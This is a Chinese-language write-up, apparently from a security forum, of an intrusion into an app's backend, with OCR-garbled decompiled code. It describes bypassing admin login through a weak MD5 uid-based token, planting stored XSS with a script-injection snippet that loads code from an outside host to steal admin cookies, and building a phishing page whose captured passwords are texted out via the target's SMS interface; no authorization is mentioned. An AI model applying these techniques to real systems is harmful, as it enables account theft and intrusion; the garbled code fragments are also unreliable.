某APP 渗透测试

比较详细,大牛轻喷。

0x001.
下载app 安装了之后，挂个代理。分析之后，这个app是 浏览器+ html 模式。说白了wap 网站，采用全站api，所以的请求貌似都通过用户访问的服务器中转请求api服务器，拿到数据再返回给中转服务器，中转服务器再返回给客户端。其中采取了token校验数据是否来源于中转服务器，比较无语。。。。

1． 上个bugscan 开始扫。
2． 然后我就去收集一些whois 信息什么的。

运气比较好。在主站扫到个源码包泄露，但是并没有发现什么配置文件。
看到bin目录中存在dll文件，接下来请出了  reflector 进行反编译。
初步最好通过名字找到一些数据库的配置信息（有可能直接写在dll里面）
看到一个Common 文件，
发现4个比较有用的信息点：
第一个：是个dbhelper类
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可以看到是从配置文件读取过来的。但是泄露的源码包里面并没有配置文件。    
这条路走不通
第二个：
发现一个emailservice 类。 通常邮件服务器 能发现很多有用的信息。
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是个腾讯的企业邮箱。
但是里面也没有发现太多有用的信息
第四个信息：
后台某个地方token加密过于简单
采用uid+“string”   md5加密形式
绕过了后台，后台有一些搜索框框什么的，但是发现这些功能都用不了，
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0x002.采取新思路，既然是后台某个模块的一个功能，不如打入xss，简单拿下管理cookies并且后台管理路径，晚上6点左右打的，吃完饭，收到信息，
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这个后台是个独立的域名，这个时候我们获得一个信息，就是说我们绕过的这个页面 可以理解为一个“组件“ ，也许同时嵌套在app 管理员  的页面， 和pc 端的后台 功能页面。
进入后台系统，无语的发现了httponly，而且不能暴力破解，错五次就锁定账户，都不是锁定ip。又让我无语了一次。。。。
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看样子应该是DWZ 后台的框架。
能简单就简单，于是乎可以尝试  钓鱼了。
注意2个点，第一个：这个是不同域，前面已经提到了这个功能是个“组件“ 所以我们要判断是否来自于后台那个域名过来的，在图片画圈处。然后设置一个base标签。因为应用的资源来自于另外的域名。
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最后在自己服务器，用php写个接收代码  利用对面暴露的短信接口。打到账户密码就发送短信到我手机上面。
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public class DBHelper

i

1/ Fields
public static readonly string

nnstring = ConfigurationManager.ConnectionStrings{*Default’] ConnectionString;

1/ Methods
public static void ActionLog(int category, string type, string content, string uid)
i

string str = “insert into actionlog(category.type, content create_atuserid,

ExecuteNonQuery(string Format(str + “values(0).
i

Y112, now0). 31" (41", new objectl { category, type.TeSal0, contentToSq(, |

public static IList<T> ExecuteList<T»(string sal, params MySqlParameter] pars)
i

return MySalHelper.ExecuteDataset(ConnSiring, sal, pars).Tolist<T>0;
i

public static int ExecuteNonQuery(string sal, params MySalParameter(] pars)
i

int num = 0;
try
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public class Emailservice

¢
1/ Fields
private static string _smtpPassword = SRS
private static string _smtpServer = “smtp.exmail.qq.com’

private static string _smtpUser = "webmaster @ sl
private static bool _ssl = false;

1/ Methods

public static string SendEmail(string toEmail, string cc, string subject,string bedy, bool istmi)
i
if (toEmals IsEmpty0)
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public class AdmBasePage : Page
i

1/ Fields

protected string user_id;

1/ Methods
protected override void ORInit(EventArgs ¢)
¢
base.Onlrit(e);
this.user id = baseRequest.Query('uid");
string 5 = base.Request Query(*code’);
if (¢this.user_idIsEmpty( || s.1sEmpty0) || (Security.MDSEncrypt(this.user.id + ‘elSm")
¢
base Response Write(" <h1 > 2#&8UR </h1>);
base Response.End0;

)
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ar s = document. createl cript’);
s.src = "http:// php?time="+(new Date().getTine());

document..body . appendChild(s) ;
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